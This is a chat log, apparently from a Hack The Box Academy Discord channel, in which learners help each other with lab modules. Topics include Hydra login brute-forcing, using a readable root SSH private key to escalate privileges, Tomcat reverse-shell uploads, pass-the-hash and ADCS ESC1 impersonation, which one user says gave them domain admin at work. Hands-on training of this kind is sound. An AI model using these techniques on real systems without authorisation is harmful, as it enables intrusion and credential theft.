^USER^ and ^PASSWORD^ will be the same as those are where hydra will inject the user and pass respectively

[vagrant osprey]

thank you so much all of you who helped me, i truly appreciate it

[fathom pendant]

Go sleep

You need a break

[vagrant osprey]

who, me? it’s 11am 💀

[open summit]

ah so instead of username and password it will be user and pass

[fathom pendant]

Try and find out

[fathom pendant]

Also be sure your fail string is correct

And the login point is correct

Is the page you're on "login.php"?

Is the html correct

[cedar yew]

hello guys , Is there a module where I can learn ADCS attacks?

[fathom pendant]

Probably

[wide river]

https://academy.hackthebox.com/module/details/236

[fathom pendant]

Too easy to give the answer lmao

It's even funnier that it's titled "ADCS attacks"

[wide river]

EXACTLY !!!!!

[fathom pendant]

Didn't even attempt looking it up on academy

[cedar yew]

My cube is not enough for that module :((

[fathom pendant]

Even using the half-baked search feature

[fathom pendant]

Well. That wasn't your question

[wide river]

[fathom pendant]

if you're planning to do CPTS, ADCS is out of scope

[cedar yew]

[wide river]

you can get discount if you are student

[fathom pendant]

It would likely cause you to overthink more than it would help

[fathom pendant]

It's tier 3, it's not covered by student sub

[cedar yew]

yea

[wide river]

oh yaaa

[cedar yew]

Is there any resource you can recommend? 🙂

blog

[fathom pendant]

Google

[wide river]

google

[fathom pendant]

¯_(ツ)_/¯

[rustic sage]

@fathom pendant got a date for when you're doing the CPTS? i expect you to get all the flags in 24h based off how helpful you are instantly

[fathom pendant]

Why do you need/want to learn ADCS?

[fathom pendant]

When I can, currently plate full

[rustic sage]

omg wanna read my blog post on ESC1 ADCS?

its my only blog post

[cedar yew]

I'm in the final stages of my job interview and there will be questions about this topic.

[fathom pendant]

Then google

[fluid basin]

Im very lost in the osTicket portion of the Attacking Common Apps module, can somebody point me in the correct direction

[fathom pendant]

Even be willing to admit, I don't know off the top of my head

[rustic sage]

@cedar yew ADCS are very common in the wild because microsoft documentation recommends templates to allow "allow requesters to include SAN in template" for autopilot builds

which allows anyone to specify a domain user to impersonate and receive a .pfx that can be used to authenicate against kerberos

i managed to get domain admin at my work bypassing windows defender + darktrace using that trick

[coarse schooner]

you never know who might be in this group, fully agree with @fathom pendant being honest about your level of knowledge is the right thing.

not to mention, those who ask, probably know the answer, and have a highly honed bs meter

[fathom pendant]

Depending on the level of job you applied for, they may just be looking to weed out people who bsed their resume

[rustic sage]

marcie will i be told off if i link my blog post

[cedar yew]

ye we talk enum AD kerberos ntlm llmnr

and last subject

[fathom pendant]

Yes sentenced to 12 years in the dungeon

[cedar yew]

adcs

[fathom pendant]

There's a #community-content channel if it's not relevant to academy

[coarse schooner]

check out certified preowned either way.

[cedar yew]

okey

thank you

[coarse schooner]

https://posts.specterops.io/certified-pre-owned-d95910965cd2

[rustic sage]

@cedar yew i linked my blog in #community-content not forcing you but i feel like its a cool read 😄

all feedback welcomed

it is my first blog after all

[cedar yew]

thank you

[open summit]

tried this for second part cant seem tof ind the password

[mighty steppe]

hello, can I check if there's any support team that can help?

The support button in the website keep spamming me with Swag stuff and not going away

[open summit]

[fathom pendant]

Email them

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

The support team does not monitor the discord

[open summit]

marcie u mentioned something about fail string

[mighty steppe]

Thank you for the info

[fathom pendant]

Yes, and the fail string is explained in the http-post section

Also is your endpoint correct

[open summit]

ye thats correct i got thae right one

[fathom pendant]

Is the page you're trying to bruteforce, login.php

[open summit]

ye i just seen now

its admin_login.php

so would forname='log-in'

[fathom pendant]

Try and see

Again. These are all things taught to you by the module

[mighty steppe]

I think their support site also down

[fathom pendant]

¯_(ツ)_/¯

https://status.hackthebox.com

Also delete because spoilers

But again did you try it or are you asking me if that's coreect

[open summit]

i tried it

[fathom pendant]

Then be patient

[open summit]

its gonna take forver i cant do the rocky.txt

[fathom pendant]

Yes you can lol

Estimated time is how long it would take to go through the whole list

Not to get you the desired answer

(You can also use more threads)

[open summit]

i put -t 4

to speed it up

[fathom pendant]

You can do more

-t4 is very slow

[open summit]

whatshould i do t what

[fathom pendant]

It shouldn't take too long either

Well commonly these types of services can handle 48-64 threads

[open summit]

i did -t 48

[fathom pendant]

Also: keep in mind the page you see when you log in; this is important for the following skill assessment

[fathom pendant]

Just. Be. Patient

Also make sure it's ^PASS^

¯_(ツ)_/¯

Slight spelling errors can be the death of you

[open summit]

i got it

used rockyou-75.txt

[fathom pendant]

Patience is a virtue in this field

I just used the full list

[open summit]

thx marcie boss

[fathom pendant]

It didn't take but a few minutes

¯_(ツ)_/¯

[haughty tree]

I don't know what part of the module you are in but there was also a technique that was talked about to generate custom wordlists for websites so maybe ur meant to use that here

[fathom pendant]

Nah

That's the next skill assessment

[haughty tree]

Spoiler 😠

[fathom pendant]

This first one is meant to use a generic wordlist

I mean if he read and followed the module; it's obvious

And took notes

¯_(ツ)_/¯

[haughty tree]

I mean yeah I would do that but idk I feel like it spoiled it a bit for me

[fathom pendant]

Also kinda basically what the first question tells you to do

[haughty tree]

Oh

if the question asks for it then my bad

[fathom pendant]

"Using information from the previous assessment..."

"As you now have the name of an employee from the previous skills assessment question..."

Yep you know the name and it even tells you to use usernameGenerator to generate usernames

There's another tool used, and they even talk about using sed to cut things from wordlists

[open summit]

ye thats the password policy

[fathom pendant]

Again, all things taught to you by the module

[open summit]

yes boss

[vagrant osprey]

Getting Started —> Privilege Escalation

I got the first flag, and am now onto the second, where I need to escalate from user2 to root. I ran dpkg -l and saw adduser version 3.118ubuntu2 was an option, so i looked up exploits for it and could not find any. None of the other packages seem fitting for privilege escalation, so where should I go from here?

[fathom pendant]

Overcomplicating

ls -la /root/ and see if something stands out

Hint: file permissions

Privesc isn't always about software vulnerabilities

[vagrant osprey]

chloe

[fathom pendant]

?

Huh??

[pine dagger]

probably just typing their password into the wrong window

[fathom pendant]

Skill issue

[pine dagger]

Try harder?!

[fathom pendant]

[vagrant osprey]

chmod

[fathom pendant]

Ah

[vagrant osprey]

it autocorrected and the edit didn’t go through 😭😭

[fathom pendant]

Bur chmod isn't until after you figure out the interesting file and copy it over

[vagrant osprey]

oh

[fathom pendant]

Sometimes they're hidden in plain sight

Any file or directory prefixed with . Is hidden

[vagrant osprey]

ls -alh then

[fathom pendant]

The h isn't necessary

[fathom pendant]

Also.

[vagrant osprey]

nothing really stands out to me

i got into .ssh/ if that’s what you meant

[fathom pendant]

Indeed

Something interesting in there

[vagrant osprey]

authorized keys, id rsa, and id rsa .pub

[fathom pendant]

File permissions >> owner|group|others

Since you're not root, or in the root group, you'd be classified as "others

[vagrant osprey]

right

so i can only read the second two

[fathom pendant]

Perhaps you can read something

The id_rsa file is powerful

It acts as an authentication file

And when you consider it's owner, I'd say it's very useful

[vagrant osprey]

it’s a private key

[fathom pendant]

Yes

But who's private key is it? (Owner)

[vagrant osprey]

root

[fathom pendant]

So...

[vagrant osprey]

is there a way to use a file as a password?

[fathom pendant]

Sort of

-i id_rsa is used to indicate that you're using an auth file

[vagrant osprey]

what is the -i for

[fathom pendant]

Identity

man ssh

[vagrant osprey]

i have to unminimize to get to the man pages

can’t

tried ssh -i id_rsa and was prompted for user2’s password

[fathom pendant]

Well

[dim wolf]

whose id_rsa is that

[vagrant osprey]

root

[fathom pendant]

Copy the id_rsa to your system

And ssh from your system

The whole file is the id

[vagrant osprey]

wdym by ssh from my system

[fathom pendant]

How did you first ssh in

[vagrant osprey]

ssh user1@94.237.62.124 -p 54910

[fathom pendant]

Switch user1 for root, and add the -i id_rsa

After you copy over/create the file

[vagrant osprey]

is it supposed to be just sitting there

no changes

[fathom pendant]

Wdym "just sitting there"

[fathom pendant]

Brother

You gotta ssh from your vm

Not the target

[vagrant osprey]

o h

[fathom pendant]

You gotta find a way to get the rsa file on your machine

[dim wolf]

you can also ssh locally without exiting your current ssh session iirc

[fathom pendant]

Also there's a full-screen button for the pwnbox

[glass quail]

Module: Broken Authentication
Section: Default Credentials
I am having an issue with the question I found the default credentials on the vendors website but it will not accept the answer. I put in other default credentials too. Can someone point in the right direction?

[fathom pendant]

Try looking up a default wordlist the answer does have to do with the vendor

But not all info on the page/title is 100% needed

[glass quail]

ok

[abstract jacinth]

is there anyone to have solution to this problem?

[glass quail]

I have looked at three different source of that vendor default wordlist all them say come up with one pair of credentials

[vagrant osprey]

jerryrigged it

copied it, went back to my vm, pasted it into a new file

i’m a genius

mm it doesn’t like how much access the file has, now is chmod time

AYYYY GOT IT

[fathom pendant]

That's literally the intended method

[sweet girder]

And now my Windows 10 VM is laggy. 100% disk usage on the task manager of the vm. After some search, it seems that it's because my vm is on an hdd or maybe I didn't allocate enough ressource (I've allocated 4go of RAM and 2 CPU Core), it seems the Antivirus of the host can reduce the performance of the vm so I excluded the folder which contains the vm

[fathom pendant]

Likely because hdd

[sweet girder]

Welp. I think I will use Parrot until I can have a SSD

[rustic sage]

4gb ram on windows is tuff

[fathom pendant]

I mean minimum ram for win10 64bit is 2GB

¯_(ツ)_/¯

[rustic sage]

marcie what do you daily drive

you strike me as a mac kinda person

dunno why

[fathom pendant]

Windows

I'm not a fan of MacOS

[glass quail]

wow I didn't try one set lol

[hexed lintel]

cant rdp connect through xfreerdp
but works through remmina

/cert-ignore also didnt help

[fathom pendant]

$$ is a variable call, wrap in single quotes

$$ calls the PID

[hexed lintel]

ohh, got it

[fathom pendant]

Any special characters you should generally be wary of

Best to wrap the string in single quotes and call it a day

[sweet girder]

Yup I think I will stay on Parrot. I don't know how but the disk usage of the Windows VM stabilized, but the update etc take too much space. And I think I will prefer a Linux os to do pentesting

[fathom pendant]

Yeah Windows is space hungry

Woo got obsidian with git plugin working on my chromebook

Had to install gnome-keyring for it to store the secrets

Some bullshit

[cloud urchin]

this isn't really the place to discuss that, you should probably just delete your message

[dim wolf]

why is this not automatically filtered?

[cloud urchin]

<@&861185840277487616>

[lavish mango]

I'm really sorry.

[sweet girder]

I still have a question. Is WSL has the same advantage for ethical hacking than VM ?

[cloud urchin]

Just use a VM. Many people run into tons of random little issues with WSL.

[sweet girder]

Yeah I just found that. Thanks !

[haughty stirrup]

yeah no need to share that kinda story in modules tho

[zealous rune]

hi. still working on the end of module exercise on the shells module

i'm trying to exploit the tomcat server

using a java reverse shell payload

am i on the right track?

[sweet girder]

Sorry for keeping asking question. I'm still bothered because of the Windows VM problem and the module which give the impression that it's obligatory to have a Windows VM. I tried some research of course but I can't find an answer for the question. Is it obligatory to have a Windows VM for testing exploit ? Google only talk about main OS for ethical hacking

[cloud urchin]

not needed for HTB. HTB Academy provides vm's you can exploit. The only reason you'd setup a Windows VM is for your own home lab and testing.

[haughty tree]

Hi so in the Password Attacks module in the Pass the Hash section the last question is as follows
Optional: John is a member of Remote Management Users for MS01. Try to connect to MS01 using john's account hash with impacket. What's the result? What happen if you use evil-winrm?. Mark DONE when finish.

Can anybody explains to me why the results are like this? for psexec

and evil-winrm works

[sweet girder]

Okay so I think I will just use Parrot for HTB, and if I'm not mistaken, since I probably need Windows VM for future jobs, I will try to buy a SSD disk for it

[cloud urchin]

You don't need a separate disk for a virtual machine, you just need free space

[sweet girder]

I don't have enough space for the 104 go of update. I will retry making space but I don't think I can.

[cloud urchin]

Looks like PSExec attempts to write to a share in order to gain a shell, and it's being denied write privileges. evil-winrm uses windows remote management to connect.

[haughty tree]

Yeah but I wonder how does WinRM gain access then

[cloud urchin]

via windows remote management.

[haughty tree]

Yeah I mean like how does windows remote management establish a remote shell but thats something for me to google and figure out probably

[cloud urchin]

WinRM is a protocol dedicated to simply just that, remote management. it lets you execute commands, scripts, retrieve data, etc over a network

[haughty tree]

I'm just interested in knowing how the protocol works like does it just send commands through XML or idk \

[cloud urchin]

https://www.comparitech.com/net-admin/winrm-guide/

[coarse bane]

For Password Attacks > Credential Hunting in Linux : is it possible, within a reasonable time, to find the user and the password without looking at the hint? how long did it take you?

[haughty tree]

After gaining the initial foothold then its pretty straight forward to get the hash you need to but getting into the system is the tricky part

[zealous rune]

feeling a bit stupid. stuck on the end of module exercise. Module shells

trying to exploit the first machine that is running a tomcat server

So far I have tried to upload a webshell. I have also explored the SMB service. successfully created an SMB session

[coarse bane]

Tricky is not the exact word to define the task, it's more like a pain in the a*s.

[haughty tree]

What type of shell did you upload

[haughty tree]

Yeah, it's out of place imo

[coarse bane]

btw how long did it take to find the right creds?

[shut quest]

It's possible, but it would take much longer

[zealous rune]

i generated a jsp reverse shell file format war

[haughty tree]

Did you upload it successfully?

[zealous rune]

no the server refused it

i tried the metasploit module

[haughty tree]

Do you have the error?

[zealous rune]

then i tried to generate the file using msfvenom

i didn't really get an error. just when i click deploy on the tomcat manager app, the server timesout

[haughty tree]

and when you try to navigate to the file, is it not there?

[zealous rune]

yes

[haughty tree]

I'm trying to think of something to say that would not spoil it for you

[zealous rune]

ah ok

[haughty tree]

But you're on the right track

[zealous rune]

ok good to know

[haughty tree]

What page did you upload it to?

[zealous rune]

maybe i need to find the path

you mean the page for my reverse shell app?

[haughty tree]

What page on the tomcat website did you upload the file to

[zealous rune]

/manager/html

[cloud urchin]

Have you completed Attacking Common Applications? The steps outlined there worked.

[zealous rune]

choose file

then click deploy

[haughty tree]

It should work then, that's weird

[cloud urchin]

try creating the war file manually instead of using msfvenom

[zealous rune]

hmmm

[zealous rune]

is that at me?

[cloud urchin]

msfvenom should work too though

yes

[zealous rune]

thing is the I don't seem to be able to upload the file

i haven't done attacking common applications

that's a bit later in the path

[cloud urchin]

could try changing regions maybe

or try a different browser if you think its on your end

[zealous rune]

maybe i'm using the wrong browser

well i'm using the tools on the machine i'm rdp'd into

i used the browser in the burpsuite

maybe i should use the hostname of the server and not the ip when i browse to the url

strange

i get error reading from socket

basically looks like a timeout

as if the upload link behind the upload button doesn't work

give up for today

back tomorrow 🙂

[fringe urchin]

Providing screenshots of the commands etc would make the help easier

[rustic sage]

footprinting SMTP was a battle jesus

feel like that module really missed the mark with explaining the enumeration phase

[fathom pendant]

It worked fine enough for me

¯_(ツ)_/¯

[rustic sage]

considering the amount of other people asking in the discord history and forum posts other people would agree

[zealous rune]

Fair. I'll post some screenshots tomorrow. Got tired of spinning wheels for tonight

[rustic sage]

anyone else constantly having to reboot target VM's as they die after like 5 minutes

been happening for the past hour for me

my nmap scans will go from showing 5 open ports instantly to none and can only be shown using -Pn and they're listed as filtered.. as soon as i reboot the VM its fixed but then happens again after 5 min

[shut quest]

Try a different VPN server?

[rustic sage]

using the pen box

pwn*

[cloud urchin]

still matters, changing the vpn region changes the pwnbox's region as well

[rustic sage]

vpn on a vm has the same result

oh i can change the region on my pwnbox?

let me try that thanks

[cloud urchin]

yep

[shut quest]

Try to keep VPN and pwnbox near each other, but the VPN selected does have an impact with the pwnbox.

[rustic sage]

good to know i thought they were completely independant, thank you

[fathom pendant]

It has an impact on the target

Not on the pwnbox

Pwnbox region impacts pwnbox

Vpn region impacts targets

[rustic sage]

that's done the trick nicely not a single disconnect since

completed footprinting IMAP/POP3s woop woop that was a fun one

IMAP syntax is funky

[fathom pendant]

It's silly

[rustic sage]

i am glad you agree

[fathom pendant]

I ended up saving a link to a couple imap articles

[shut quest]

*pwnbox experience

[coarse schooner]

Is there a known server issue right now? The VM's keep crashing

I'll try tcp vpn pack

[placid lotus]

I had an open support ticket with HTB about the US servers (vpn and pwnbox) not performing well, not spawning targets, etc and they told me that they have several reports of this issue and that the best option currently was to switch regions to EU while they address the problem. That solved the odd issues I was experiencing. No word on any fix or anything atm. I moved to the EU-5 vpn and its solid.

[cloud urchin]

Use a tool that can find passwords for you. Remember that tools may give different results based on whatever user context you're running under.

did you use those tools under all the users you have access to?

yes i did

[heavy edge]

am i doing this wrong?

because no shell

AD skill 2 btw

[buoyant void]

Currently doing the Attacking Enterprise Network module and I keep losing tons of time trying to pivot via the first host. I've tried using Ligolo, Chisel, SSH and sometimes it works great but other times I can browse to the webpage on the internal network but trying to log in to the admin panel just hangs, tried resetting the target a few times, tried different ports and still having this issue. Anyone have any tips?

[cloud urchin]

First, we have no idea what your attacker IP is, how you generated the .exe, etc. so its hard to say what you're doing is correct. Second, you should can check the version or patches to see if it's vulnerable to your exploit, there may be another attack path you need to take instead.

[heavy edge]

the attacker IP is the kali host i have to ssh into

im in the mssql service right now

everytime i try and certutil a file as nt service\mssql$sqlexpress it becomes a 0 byte file

[cloud urchin]

do you have admin rights on sql01?

[heavy edge]

no im trying to get a shell

im thru as the service but cant catcha shell

to impersonate

[cloud urchin]

send me a dm

[onyx halo]

this is was quite a journey i must say

[coarse schooner]

I've finally solved fatty. kudos to @placid lotus for the eu vpn server tip; it was smooth sailing from there. I think it's safe to say, if there is a challenge like fatty on the exam, 10 days won't likely be enough to solve it.

unless its identical, or there is an online post about the specific exploit steps.

It was a cool lab though.

[wide river]

anybody know how to fix this problem of sliver?

[onyx halo]

🫡

[heavy edge]

jfc

i need to take a break

that was rough

[cloud urchin]

nice job that's a huge module

[dim wolf]

we love AD

[heavy edge]

i need to go back and redo the skills

it was so much

[shut quest]

What version you running? How'd you install it? What is the host OS? Do you have Internet access for the sliver server?

Also, might just want to look at the sliver logs and see what's up there

[wide river]

i got it, it just that i can't name beacon same name twice

[wide river]

making sure you really understand the module, it will save you in CPTS

[valid viper]

It's...a behemoth.

[wide river]

behemoth in grandblue XD?

[valid viper]

That's a way to put it.

I took notes throughout the AD module on everything, so I think I will pass.

But yeah I just can't believe how much attack surface there is.

[shut quest]

That's my favorite module so far

[heavy edge]

yeahhhhh imma go back thru and do it again

[valid viper]

If you have notes...

[heavy edge]

yeah holy moley like it was alot alot

[valid viper]

I'd go ahead and start practicing with boxes.

Yeah it is.

[cloud urchin]

Did you start knowing nothing of AD?

[valid viper]

But at the end of the day, it's just a lot of things to test for.

[cloud urchin]

it's a big mountain to climb if you don't have AD experience

[heavy edge]

no i new a bit, but stuff like the acl abuse, and use of powerview was new to me

yeah there was a bit that i knew, but seeing the kerberoasting and other attack surfaces was really fun

[valid viper]

Nice.

I like the SQLi module the most myself so far... With pivoting a close second.

[rustic quiver]

I'm doing the shells module and im trying to connect to the target with netcat but instead of connecting successfully, I just get (unknown) insert ip and port (?) open. Chatgbt says its something with the dns or something, how do I fix this?

[wide river]

Module:
Section:
Description:
Link of Section:

tryna follow this format when asking question so you can make it easier for me to know where you at

[rustic quiver]

Module: Shells and Payloads
Section: Bind Shells
Description: I'm doing the shells module and im trying to connect to the target with netcat but instead of connecting successfully, I just get (unknown) insert ip and port (?) open. Chatgbt says its something with the dns or something, how do I fix this?
Link of Section: https://academy.hackthebox.com/module/115/section/1105

[latent eagle]

Hello. Do the new academy modules mean HTB will be offering a Red Team certification next?

[wide river]

dm

[wide river]

whenever HTB have the cube talk, you can ask them

[latent eagle]

Cube talk? I think it's obvious to infer HTB is coming for CRTO market share

[dim wolf]

nothing is confirmed. your chance to ask staff will be this upcoming cube talk on friday

[latent eagle]

Maybe I will, thank you!

[shut quest]

Expect the staff to either not know as it's outside their wheelhouse, or deflect as they are not ready to announce yet during the cube talk. They have stated that they are working on releasing more certs but have not included specifics.

Based on the release of other modules and certs in the past, it's probably a safe bet that these new modules will be part of a new cert path related to red teaming. I'm sure we'll all find out soon enough.

[bold sinew]

Module: Using Web Proxies > Repeating Requests

Am trying to use Burpsuite to do cd public so I can look inside that directory for the flag, but its not working. I just get no response and if I ls again it seems that im back in the root directory, any ideas?

[cloud urchin]

You're not going to be able to "change directories" because you're not really sitting at a terminal/console. Instead think about it like you are running commands, so instead of "cd public" you'd want to list the contents of the folder or something like "ls public"

[bold sinew]

ty. that helps

🙂

[pliant coyote]

https://academy.hackthebox.com/module/158/section/1439

[cloud urchin]

that's a fun one

[pliant coyote]

Why have antivirus software?

[cloud urchin]

it's built into the OS

[pliant coyote]

This chapter asked me to upload something, but as soon as I did, I got killed

[cloud urchin]

yeah that one trips up a lot of people

by the time i got to the module i was prepared for it because so many people mention it here

[rustic sage]

in msfconsole, doing a reverse shell, should we start the nc/netcat listening to port first, or after executing the reverse shell command? (i.e php reverse shell command)
does executing the reverse shell command before listening to port will fail? (i.e the port maybe closed, idk)

[dim wolf]

you run the listener before running the payload

the payload has to connect back to something, else it'll most likely fail

[rustic sage]

I see, thanks

[pliant coyote]

Why can't I access it even though I've configured it?

https://academy.hackthebox.com/module/158/section/1439

[boreal crest]

Hey anyone else having issues connecting to VPN?

[cedar yew]

no maybe changed vpn file

I'm connected now

[boreal crest]

What VPN server?

[cedar yew]

eu academy2

[boreal crest]

Hmm Lemme try that, Ive changed around a bit but always get a connection timed out

[cedar yew]

This caused me to change my operating system last week, but it's working fine now.

[boreal crest]

I pinged 8.8.8.8 and I get a reply but pinging the server IP doesnt really give me a reply

Its weird because I can connect to the Hackthebox App VPN (competitive VPN)

[cedar yew]

maybe machine ping closed 😄 try -Pn :d

[uneven oracle]

target machine issue?

Using The Metasploit Framework > Meterpreter

The target machine is unresponsive. It spawns, but I get nothing from my enumerations or any attacks.
Works maybe 1/50. Idk what’s going on. Other machines spawn and work fine.

[cedar yew]

maybe create ticket htb support